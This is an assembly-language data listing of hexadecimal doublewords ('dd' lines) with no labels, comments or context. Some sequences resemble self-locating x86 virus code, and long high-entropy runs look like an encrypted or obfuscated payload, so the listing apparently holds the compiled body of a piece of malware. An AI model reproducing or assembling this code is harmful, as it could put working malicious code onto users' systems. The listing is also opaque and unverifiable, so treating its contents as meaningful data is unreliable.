		dd 44810424h, 160424h, 51410000h, 4F0BAFC3h, 0DE9h, 45D51300h
		dd 79FFEF2Fh, 755FCDEEh, 0E890ABD4h, 11h, 750FBFBDh, 0A7B39804h
		dd 0E01BD07Fh, 1E6CEBBDh, 90505AFBh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 66C35141h, 0E9375A58h, 0F01AB8B9h
		dd 6A006A7Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 7EAFC352h, 8C94617Fh, 958B1104h
		dd 61E0CE5h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0B86A19C3h, 26EFA0B5h, 0E9E74FB9h
		dd 0Ah,	0BFF64CD7h, 0BB4128CEh,	0B589B94Dh, 61E0445h, 299D8D89h
		dd 858D061Eh, 624BDA0h,	8E9h, 5F5BF00h,	0EAF651A7h, 0BA6650FEh
		dd 489095Bh, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 9C5ECE1Dh, 9899854Ch, 0ED9D8956h
		dd 59061E07h, 0B966D98Bh, 6A4263h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0E1C35545h,	5E8F856h, 8D03513Ch
		dd 61E19A9h, 0BB006A5Fh, 6C15F391h, 21ED95FFh, 6A061Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 92894C3h, 1E035D8Dh,	5A4E906h, 8D290000h, 61E1B29h
		dd 0A20ABF66h, 0E8h, 0ED815D00h, 624BDA5h, 14CD958Bh, 59B2061Eh
		dd 4E8h, 0FA000h, 0BA526000h, 44CEE278h, 6652505Eh, 0FCABEBAh
		dd 5AF18A31h, 0BF506158h, 3D019A48h, 424448Bh, 5820F60h
		dd 0BF000000h, 326A2335h, 8B61F08Bh, 94D6BB00h,	44894BE9h
		dd 8B660424h, 6A58CEh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 34A1E4C3h, 924AA4A1h, 0FFD8053Ch
		dd 1E26C195h, 11E906h, 0C2880000h, 3C3924CFh, 6E221B9Ah
		dd 0C255A912h, 8D1CF8DAh, 24BBF2B5h, 6C7F906h, 6D676552h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0ECC35545h
		dd 26BFDEE5h, 48D0Fh, 0BB660000h, 8B666634h, 446C7D1h
		dd 6C636E6Fh, 29499D2Bh, 46C7061Eh, 73736108h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 2375ACBFh, 48F781DAh, 6A7D87D5h, 0F2858D00h,	330624BBh
		dd 1E02C9BDh, 52505006h, 0DE8B6660h, 0F61FA8Bh,	89585A31h
		dd 51BB2404h, 0FF6EF5D7h, 1E02D195h, 0E1816606h, 0E957628Bh
		dd 13h,	0A03FE696h, 994A9509h, 0F7805257h, 0B9928945h
		dd 5FC5CA93h, 840FC00Bh, 53h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 26C35747h, 9B589B1h, 60061E05h
		dd 4C9850Bh, 0BF0F061Eh, 92E961FBh, 6A000003h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 7EC4C353h, 684C88A6h, 27077A70h, 0DA8B5250h,	14E9310Fh
		dd 5A000000h, 597A86D4h, 0A932A2CEh, 0FADD1535h, 8138DBDh
		dd 5ACBD160h, 24348158h, 27077B5Ch, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 61C35747h, 0FF048C94h, 1E26C195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0F2B58D03h, 6A0624BBh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0D716C352h
		dd 0EB8166F9h, 6660925Fh, 5BCD881h, 11E8h, 8860200h, 7993D69Dh
		dd 3606B69Ah, 5C3F72CBh, 0F781CDB4h, 1237E9DBh,	6C7615Fh
		dd 36343831h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	0E0C35747h, 661AC393h, 601EF81h, 370446C7h, 0E931342Dh
		dd 6, 8D9C552Bh, 46C7059Ch, 8, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 6AF8A92Ah
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 2BDC7256h, 81666B16h, 8DEE66E7h,	24BBF285h
		dd 31F98B06h, 1E14C585h, 5F505006h, 66240489h, 95FFDF8Bh
		dd 61E02D1h, 21D8589h, 0C00B061Eh, 40840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 83B52DC3h, 11E99C7Fh, 37000000h, 0B8E5DEEBh,	613B94B6h
		dd 0BD884DF8h, 0B40D0783h, 1C8E9h, 6387BB00h, 3768076Ch
		dd 50FB581Fh, 0FD48A52h, 81585A31h, 0E1F52404h,	6A04A7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 4016FEC3h, 36EA7E20h, 85BFB487h, 0F7828CDh, 185h, 95FFFC00h
		dd 61E26C1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	2DC35747h, 8C739695h, 0CEBE5755h, 8DD18B66h, 24BBF2B5h
		dd 69BB6606h, 4606C7A5h, 6A656C69h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 32B0C357h
		dd 0F966B99Fh, 0C858589h, 46C7061Eh, 6E6F6D04h,	51006A63h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 35BD8BA5h, 0C7061E0Fh, 616C0846h, 85897373h,	61E0C21h
		dd 0C46C7h, 66000000h, 0B553CB8Bh, 6A5A07h, 4798509h, 858D061Eh
		dd 624BBF2h, 314715BAh,	5E85061h, 19000000h, 0E1783763h
		dd 895F4BB6h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E94C60C3h, 14h,	0E762B7Ch, 1C55AB7Bh
		dd 8A5A4D42h, 701E336Fh, 27DB770Dh, 6860Fh, 0BD010000h
		dd 61E02A5h, 93D9D8Bh, 95FF061Eh, 61E02D1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 84C35747h, 0E0D65862h
		dd 0B7016EEh, 11840FC0h, 8B000000h, 1E17E995h, 2FE906h
		dd 8D8B0000h, 61E0885h,	0FFFAFFE9h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 89AFDA73h
		dd 1E16959Dh, 0ABB58D06h, 6A061E71h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B3BC356h
		dd 6268088Bh, 0FF33794h, 0C86h,	6820F00h, 8B000000h, 1E1D9995h
		dd 0B806h, 5E90000h, 0DA000000h, 786A591Eh, 6AE6FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0D55FEDC3h, 81665D69h, 808934E9h, 0C18B76C5h, 0C3C38D8Dh
		dd 0D7810624h, 33B99AD3h, 23758D89h, 8E0F061Eh,	3, 0C7F98B66h
		dd 1E324D85h, 5B6C06h, 13E900h,	8E240000h, 86E3E4EFh, 0E91E6A4Fh
		dd 47E333A2h, 44395C32h, 6985C787h, 61E31h, 8B000000h
		dd 1E2AF1BDh, 7DB5FF06h, 6A061E32h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0ED0BC351h
		dd 16D1BD29h, 95FF061Eh, 61E16B9h, 3A16BB66h, 95FF006Ah
		dd 61E26C1h, 0EEBC08Bh,	7313BE62h, 0D74A33DBh, 0F1A9965Bh
		dd 7E8E266h, 12000000h,	55157D55h, 858B2726h, 61E2EA5h
		dd 81DE8A5Ah, 5A9EC2h, 0C18B6600h, 0D5B0C92Bh, 0E90A3C8Bh
		dd 5, 0E730496Ah
		dd 9BEF813Bh, 8104597Eh, 509804CBh, 4AF7817Dh, 93A1160h
		dd 1E0839BDh, 2FF78106h, 0BB034AF8h, 59FC1C80h,	0A5BD8957h
		dd 8F061E21h, 85010A04h, 61E0EFDh, 0E59D8Bh, 0E983061Eh
		dd 0F1858B04h, 81061E31h, 0FFA5D8F9h, 0A5850FFFh, 8AFFFFFFh
		dd 0FB8D8DC5h, 0B30624C4h, 758D8968h, 80061E23h, 85C740F2h
		dd 61E324Dh, 69B8h, 7D2CE281h, 85C74D7Eh, 61E3169h, 0
		dd 0FFD7EA80h, 1E2D11B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 326C5F6Eh
		dd 0F28B5D03h, 10E9h, 0BD0C2D00h, 0A117167Fh, 0C7296725h
		dd 0A0187D96h, 0B995FFE8h, 6A061E16h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 5A9C355h
		dd 85C631E3h, 0DF8166BBh, 0D081C712h, 3677EE0Dh, 95FF006Ah
		dd 61E26C1h, 4CEBC08Bh,	0EB7C1F66h, 0BDAECEADh,	0C7874F59h
		dd 0B7D9A354h, 64D857EFh, 40FD0478h, 4B5F6341h,	7226A604h
		dd 8839180Ch, 8C00AA69h, 4AF79F50h, 554CCCE3h, 78E22797h
		dd 0C5FDD3E2h, 304A1289h, 0C71C48FEh, 0F01F0A13h, 48ED0D36h
		dd 0F0FE2825h, 9C9D04EBh, 0EE927C0h, 1C000005h,	4A65DA87h
		dd 738E03A2h, 0A0BB30F1h, 0C8E35819h, 0CC0D8227h, 8B2ECFDAh
		dd 0BA67FB16h, 0E1842A45h, 7AE516Ch, 0E0F69292h, 3F499804h
		dd 73C59D52h, 0B64F31F0h, 4E139431h, 5F78B227h,	6A6918D9h
		dd 1F29C8C7h, 0B42BF821h, 6F12AB8Dh, 0C02BB9CFh, 0E62B3925h
		dd 769D44E7h, 0B47DFB94h, 0B514ED2h, 0D79E213Ah, 89862928h
		dd 9E3BB4DBh, 9DBBE27Ch, 4AD4C65h, 2590DC08h, 2ABAD039h
		dd 2C392591h, 74D873E7h, 1F6EA4E2h, 0E55A0930h,	0C8124CAh
		dd 0C6A84DF1h, 0CAE8952Dh, 0C0687C92h, 0A9EE3925h, 0F97F18FAh
		dd 39BD5638h, 0D2D19274h, 24A88A2Bh, 3307E127h,	941ACC12h
		dd 0BE415CD1h, 627F15F7h, 763925C0h, 0C2C02F75h, 7B81C4E6h
		dd 5Ch,	3AF073C5h, 24D2C024h, 2A519639h, 0E9F99048h, 0E5462129h
		dd 0E3FFFBAAh, 0F73924E2h, 4341B0F6h, 0FC81C5C4h, 1, 54F57346h
		dd 6C2D0FD2h, 22CA6345h, 0AB4C6583h, 0DC755706h, 2EB2945Dh
		dd 0B339EB31h, 0BBF9CF9Ch, 274EA51Ah, 751497B2h, 19D85BF2h
		dd 6D4F7637h, 3C1085ACh, 112FF273h, 0CDAF6AF8h,	0C37B5D0Ch
		dd 8B3FFF2Ch, 0EB9ADAC6h, 2BCD4CECh, 0C0E7A88Ah, 28BF5DDEh
		dd 3A91ADF9h, 0DCB2606Eh, 0F3C9ED16h, 549A1DCCh, 0E3581DA2h
		dd 9A7C25C8h, 0DC607F01h, 0C04BFC62h, 14C4A6CDh, 0D4C23177h
		dd 8D81C555h, 74h, 3673DA71h, 9C8E7A3h,	1C54A25Ah, 24D2DE06h
		dd 84337839h, 5B3DE085h, 8F556BA3h, 0C73924D2h,	40E18382h
		dd 47EE9291h, 9EE4E165h, 732EB4CDh, 7D20C5C4h, 12F9C85Fh
		dd 0B74A9AB0h, 0C70C3925h, 9C924Ah, 0DE8DB47Dh,	4A94E69h
		dd 8A2BCDE6h, 0D960F9DBh, 0E9863618h, 0F44634A3h, 48FF81C4h
		dd 49000000h, 4D2FF273h, 8D6F32B4h, 5B0D53F2h, 0CEA217DAh
		dd 4A2CF573h, 24D32DB4h, 50119839h, 44A0B66Eh, 123924D3h
		dd 0B32ACECDh, 66486F32h, 0CE62CCBh, 8D91F20h, 0B73F8F71h
		dd 15C4CAFCh, 0C5CA5B59h, 11481h, 735E0000h, 0DA1230F1h
		dd 24D320C4h, 42F13639h, 0EF8FA860h, 0A8A7684Ah, 0C0816306h
		dd 706F1211h, 736C240Ch, 0DCBEE56Dh, 1699B26Eh,	0FAF6D24Fh
		dd 13C3CD1Eh, 0E99BE164h, 0EF299E47h, 0E49352D6h, 415F1425h
		dd 436BB22Bh, 6F51963Fh, 5F1F9EB7h, 75B9B49h, 4F76BB33h
		dd 571EA1A0h, 7D24C7E2h, 5BDD059Bh, 49E83307h, 7AE5103h
		dd 5FC15892h, 0E4E92714h, 660908B7h, 0A144DDBFh, 0FF9D1E00h
		dd 0C1A342E6h, 88CE5100h, 859B53D6h, 3307485Fh,	4426CB6Ch
		dd 83740F83h, 0B8EDEFD2h, 0E0557CA3h, 0E38B0A08h, 13BC387h
		dd 0B30D0000h, 0B9CFED86h, 3F42F010h, 3FCCF66h,	0D3BE0D1Eh
		dd 896BB024h, 2FA44DF0h, 415ADCF5h, 0D49EB4B8h,	0C4C3EA18h
		dd 0DA9B7D24h, 0E8892C2Bh, 53CA6D06h, 6D2E10D1h, 0E0E36446h
		dd 9C45E89Ah, 8F514F27h, 6A0A87E4h, 54000000h, 89198AB3h
		dd 8B2ACDCCh, 0A3C1E8A9h, 24D2A78Dh, 8F324F39h,	0E3C5680Eh
		dd 0B6D4FB22h, 0C75CC31Fh, 0CB7AB436h, 179153E9h, 0D5713924h
		dd 175D879Dh, 5EF93924h, 0ABFCFF0Ch, 57062DD3h,	211C8ED4h
		dd 10243A58h, 0E639242Ch, 9A7C39C9h, 7B94B2D9h,	965739F8h
		dd 3872E7h, 242BFAEAh, 18175C39h, 2F1DCC95h, 89h, 0ED86B3FDh
		dd 0F97E97CFh, 0E2915234h, 42EA0FE6h, 624693Fh,	0BC2CB8CEh
		dd 6A803306h, 3306BB7Ah, 0DE2397DCh, 0B69859DFh, 0CB6446F5h
		dd 0F9148928h, 37CDAF76h, 3306BCA8h, 80327817h,	0FD1634FDh
		dd 37ADC37Bh, 1F3306BBh, 10D1B3DAh, 2811EC61h, 90142D4Bh
		dd 0BDFB8D7Bh, 0CFF638E2h, 42EC0220h, 0A8392B38h, 45E88163h
		dd 74F80EA5h, 0C288EC48h, 0E11D1EC6h, 0CCF3382Ch, 155B7CEAh
		dd 0BFDD96A3h, 5E285A9h, 0AB206533h, 0ED86B3D7h, 0FA7E97CFh
		dd 0E998593Bh, 499841EDh, 8264A93Fh, 2A9F46E9h,	0E3C56C0Fh
		dd 3651942Bh, 0EA0BA631h, 0FA003F3Bh, 999654E4h, 571EA153h
		dd 7D24C7E2h, 0BA7B029Bh, 3496AD8h, 9207AE51h, 4B2DF477h
		dd 3C3h, 0A77F9100h, 5133EE73h,	8A6C35B8h, 0C6A84DF1h
		dd 6E8952Dh, 4325C86Dh,	7E6005AAh, 0BD9F46E5h, 0FFE18024h
		dd 3D1FC666h, 1C4D6800h, 1C890000h, 51F16824h, 1C890000h
		dd 0F966824h, 14890000h, 0E1BE5624h, 0C13C8465h, 0E6C102EEh
		dd 0FFEE8308h, 8103E6C1h, 0AC26B4EEh, 0FDEE8134h, 89CDFAD3h
		dd 0EC815EF3h, 4, 81242489h, 42404h, 535A0000h,	0D24BE56h
		dd 7431169Dh, 8F5E0424h, 72810842h, 9D0D2408h, 24148B16h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 51241C8Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 40E95C24h, 0A5FFF9B5h,	42E241B1h
		dd 0C9D1B863h, 0C5030624h, 0DD6E0FFh, 0BD4658E2h, 0B6FD4926h
		dd 0A1A41CAh, 44379D4h,	40622230h, 0F2ED28B0h, 57B71D92h
		dd 0DD234626h, 5E9C1E17h, 4EC354ADh, 0FAD5A87h,	0F6D62A25h
		dd 0D82323E9h, 6FAD6C33h, 163631F9h, 3B20204Bh,	0CD544192h
		dd 2F9A4450h, 84432CC7h, 0C0E26CA4h, 3BE972BDh,	60000000h
		dd 2BADBD8Bh, 0EF83061Eh, 8BC93304h, 8320BBC1h,	0C783EDB8h
		dd 8BE04h, 0E8D10000h, 0D323D21Bh, 0F4EC233h, 0FFFFF185h
		dd 78941FFh, 100F981h, 820F0000h, 0FFFFFFD3h, 0C88BC361h
		dd 75FDED55h, 76F67A5Eh, 56E669A4h, 7BFD49BCh, 0D9FD2376h
		dd 1EFD2359h, 7CFD234Eh, 6EFD23C2h, 44FD2307h, 2DFD23E5h
		dd 2FD2394h, 0F9FD232Ch, 24FD2370h, 0FDFD2359h,	56FD234Eh
		dd 0B3FD23C4h, 90FD2307h, 7DFD23E5h, 39FD2393h,	8DFD232Ah
		dd 9DFD2377h, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh
		dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh
		dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A440A5h
		dd 75A4402Dh, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h
		dd 0F0701ABCh, 73D9B542h, 0BEAEFFA6h, 0F0707CB3h, 73D9B5F9h
		dd 0BEEEFF6Ch, 0F0707CD6h, 73D9B509h, 0BEB2FF35h, 0F0707C7Ah
		dd 73D9B4FFh, 0BEEAFF1Eh, 0F0707CEFh, 73D9B46Ah, 0BEE6FF7Bh
		dd 0F0707C5Dh, 73D9B791h, 0BEE2FFD7h, 0F0707C0Bh, 73D9B7A8h
		dd 0BEDEFF42h, 0F0707CC1h, 73D9B7A7h, 0BEDAFFF0h, 0F0707C98h
		dd 73D9B7EEh, 0BECEFFA6h, 0F0707CB3h, 73D9B7B7h, 0BED6FF6Ch
		dd 0F0707CD6h, 73D9B7E2h, 0BED2FF35h, 0F0707C7Ah, 73D9B79Fh
		dd 0BECEFF1Eh, 0F0707CEFh, 73D9B70Fh, 0BEBEFF7Bh, 0F0707C5Dh
		dd 73D9B4B5h, 0BEBAFFD7h, 0F0707C0Bh, 73D9B4BBh, 0BEB6FF42h
		dd 0F0707CC1h, 73D9B487h, 0BECAFFF0h, 0F0707C98h, 73D9B4F2h
		dd 0BEC6FFA6h, 0F0707CB3h, 73D9B58Ch, 0BEC2FF6Ch, 0F0767CD6h
		dd 73E354E4h, 0BE71FF35h, 0F0767C7Ah, 73E34A5Ah, 0BE6DFF1Eh
		dd 0B69C7CEFh, 9D11F1B0h, 75FD7AF2h, 0D517FB23h, 25FB5E70h
		dd 0FDF53FD5h, 5136F1ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73D9B67Dh, 0BEEFFFA0h,	0C87D7C0Bh
		dd 73D9B185h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0BE6DEF86h
		dd 0FEBD7C98h, 7A452B96h, 8AFD7A2Fh, 5136EA02h,	6648F7CDh
		dd 0F8FB5E2Eh, 9D50FCC6h, 75FD7E4Bh, 76456FCFh,	8AFD7A5Eh
		dd 5136EABAh, 6648F791h, 0F8FB5E00h, 8A50FCD1h,	0BC1F2322h
		dd 0BEEFF787h, 2DA07C98h, 2CA32005h, 776D92ECh,	0CD4D7A97h
		dd 8A5779C1h, 5136F670h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh
		dd 0DE9B5954h, 0BE71EFD0h, 0DE9B7CB3h, 77959208h, 360B7AE5h
		dd 6E8872F3h, 0BE71EF86h, 0C54D7C98h, 8AAD7954h, 5136F6BAh
		dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h
		dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h,	0FE4DBA07h
		dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h
		dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh,	75FF7B1Ah
		dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h
		dd 0FF4DBA07h, 0F96885B5h, 2FFB5E39h, 51FD5F1Fh, 133F71DAh
		dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h
		dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h
		dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h
		dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h,	75FCF323h
		dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh
		dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0BE6DEF0Dh
		dd 0C0707C5Dh, 73D9B1EBh, 7F518A5Dh, 0E002D02Ch, 73D9B11Bh
		dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h
		dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h,	0CD9B851Ah
		dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh
		dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h
		dd 75059243h, 2D4D7A5Eh, 0B6577925h, 0BEF4FF69h, 0C87D7CEFh
		dd 73D9B1ECh, 0F8EC0FF3h, 513601FCh, 61152ABAh,	9DFD7A5Ch
		dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh
		dd 0BEF4F787h, 0C87D7C98h, 73D9B157h, 0F8F10F2Fh, 51360112h
		dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 0E5688579h, 0F8FB5E77h
		dd 5132A2C3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh
		dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 5136F6CBh, 514ACE29h
		dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h,	75FD7A27h
		dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0BE71EF68h, 917D7CEFh
		dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h
		dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 5136EA70h,	1A60F7F4h
		dd 0F8FB5EB2h, 0CD3E39A0h, 75FD7A4Eh, 0BE6DEFD0h, 0B57E7CB3h
		dd 8935F1CEh, 0BE71EF1Ah, 97577CD6h, 0BE15B98Eh, 0FF028543h
		dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh,	8908831Dh
		dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 9D17FB04h,	0FCFB5EE0h
		dd 0CF7D86EAh, 73D9B140h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h
		dd 0BE6DE843h, 0FCBD7C7Ah, 5136EEADh, 0F835F191h, 512DC679h
		dd 0F96F85E3h, 0FDFB5E39h, 801F3C7Fh, 75FD6D04h, 0E17F795Eh
		dd 35FB5EE4h, 0A54DE01Ah, 0B67E7CEFh, 22FEF3E1h, 75FD644Bh
		dd 0E1777979h, 0F8FB5E77h, 512DE4ECh, 2B598929h, 75FD722Fh
		dd 0E56F85CBh, 0F6FB5E2Eh, 85897E0Ah, 72447C71h, 7DFD7ABCh
		dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh,	75FD765Ch
		dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh
		dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh
		dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h
		dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h
		dd 2FFD7A2Fh, 0A5329016h, 0CF707CEFh, 73D9B17Dh, 0CCF50F79h
		dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0BE65E7A2h, 497D7CB3h
		dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh
		dd 7D17FB04h, 0F8FB5EFEh, 5136E225h, 7D80F1CDh,	75FD725Ch
		dd 145989F2h, 75F9B8B0h, 0ED40F7DCh, 46FB5E95h,	75F5C3EFh
		dd 0DF0E7A97h, 0F89DB9AAh, 5136E258h, 74C2FBF4h, 0FC7B78h
		dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h,	0ED40F7ABh
		dd 0CDFB5E2Eh, 75FD7AF3h, 75FD72C0h, 145789BCh,	0FE3DF19Dh
		dd 0D078F7EFh, 8AFB5E5Ch, 8DCA8BD0h, 1E16259Dh,	1300B806h
		dd 85890000h, 61E2B4Dh,	0E8h, 0D055800h, 89000000h, 1300E903h
		dd 4C0h	dup(0)
		dd 2AE90000h, 0C7000000h, 2404h, 0E80000h, 5D000000h, 0E4ABED81h
		dd 448B0624h, 85890424h, 61E1961h, 0B8h, 0B88D8D00h, 0FF061E4Ch
		dd 6754B8E1h, 0FE80000h, 0E4000000h, 0D96755DCh, 9743A5E3h
		dd 4B4F6DF5h, 0B65EBE94h, 1EC681CAh, 0E900005Bh, 13h, 274B6002h
		dd 587A4F16h, 72A17A3Eh, 50C9BBCDh, 0B8B57F32h,	0
		dd 850Fh, 1C8B0000h, 0BE806h, 262F0000h, 2A8FB779h, 0CD715E7h
		dd 4BF2814Fh, 5F02FA14h, 6998F381h, 0BA666B7Ah,	0EB8113C7h
		dd 20135657h, 3800BF66h, 15CBF381h, 66532A13h, 822FEA81h
		dd 61C895Ah, 5820F57h, 66000000h, 0DF31D181h, 0CE959h
		dd 7BE30000h, 2FF5896Eh, 595475DFh, 0E881DB10h,	0E91390Dh
		dd 0FE8h, 501CE300h, 43EAAD8Fh,	0F4302032h, 0B2F61E8h
		dd 59D6BF0Fh, 3909C081h, 0B70F0E91h, 0D8F881D3h, 0FFFFFA5h
		dd 1785h, 0D18B6600h, 28E9h, 2F233800h,	59824B5Dh, 2895586h
		dd 0D977CB51h, 0E986E580h, 0FFFFFF52h, 59212533h, 0DFF3299Bh
		dd 14F18769h, 0F7D59542h, 0AEE900h, 0A10000h, 27C5E055h
		dd 4AEE097Eh, 9C1B36ABh, 0A04560D5h, 554788FDh,	8B00A54Ah
		dd 0B227D270h, 0DD521797h, 1763FC2h, 954F6501h,	0C13F49B7h
		dd 0F473340Ch, 0B437D655h, 234A0BEDh, 3B598041h, 0D2F7ED03h
		dd 1A5F3924h, 540E896Bh, 0F6F5BC3Bh, 0BCCAE77h,	17DE5D5Ch
		dd 0D2558AA2h, 216F3924h, 5396719h, 3924834Fh, 0DD84243Dh
		dd 8F8B3AFBh, 38E23044h, 376h, 0A77F4400h, 5133EE73h, 8A6C35B8h
		dd 0C6A84DF1h, 6E8952Dh, 4325C86Dh, 7E6005AAh, 0BD9F46E5h
		dd 0FFE18024h, 3D1FC666h, 0E5D26800h, 24E90624h, 97FFF999h
		dd 0F9D8F285h, 24E671B8h, 0EBC50306h, 0C1E2AE04h, 0D31E92Ch
		dd 0BC680000h, 0E90624E8h, 0FFF99903h, 24E99F68h, 98F9E906h
		dd 8168FFF9h, 0E90624EAh, 0FFF998EFh, 24EB3E68h, 98E5E906h
		dd 4C68FFF9h, 0E90624EEh, 0FFF998DBh, 24F17368h, 98D1E906h
		dd 7868FFF9h, 0E90624F2h, 0FFF998C7h, 0E65B069Bh, 0F842DCBh
		dd 3CB170F4h, 66DB9A21h, 9207AA4Bh, 0D3545F51h,	0E47E990Eh
		dd 5A9C439h, 2DD0EB60h,	730F0F84h, 49B8875Dh, 421ACF3Fh
		dd 4D2FF273h, 0FA6F32B4h, 3B591A1Fh, 9E47EA03h,	0E08123BCh
		dd 67163DFEh, 42DF2A6Bh, 67498E3Fh, 6C60FD1h, 6C35B433h
		dd 0A74EF18Ah, 0FB4144C5h, 286E0B21h, 0F2ADC057h, 852FDFEDh
		dd 831C1AD6h, 275F87E4h, 617D311h, 8F3E8333h, 3FE7h, 0AB2CB00h
		dd 0B304BC6Bh, 97CFED86h, 3FD75900h, 5314F6A3h,	0BA8A34D6h
		dd 0E1220F0Bh, 0B243F43h, 0A317C66Bh, 9B27405Eh, 8C3BFCDEh
		dd 7ACC14AAh, 43E03307h, 2C908EFDh, 74987E3h, 93000000h
		dd 8AC84h, 3B545200h, 5415F7BAh, 6203A6A5h, 0A644E780h
		dd 24D25490h, 0B0C60239h, 3924D234h, 0B7B6DD22h, 0CE8F7130h
		dd 0E25732A7h, 0FC5D7391h, 443F42EEh, 59871DFFh, 533306B3h
		dd 89F70B6h, 2D1761B3h,	38F4A3A6h, 87E4993Ah, 42F3h, 39BED700h
		dd 69F99274h, 1ED685ACh, 0CFED86B3h, 35630097h,	997707A7h
		dd 8217EEEAh, 3C813F43h, 14D0E61Eh, 4233072Ch, 0D66C4EFDh
		dd 33072C0Ah, 0EEBF05A2h, 0E39253D5h, 0E37B2927h, 0CBE287h
		dd 732C0000h, 0B64F31F0h, 855F7531h, 0D13924D2h, 0EA83658Ch
		dd 23BC9E47h, 546CE180h, 3924D76Ch, 3AAAC0F8h, 1C3924CEh
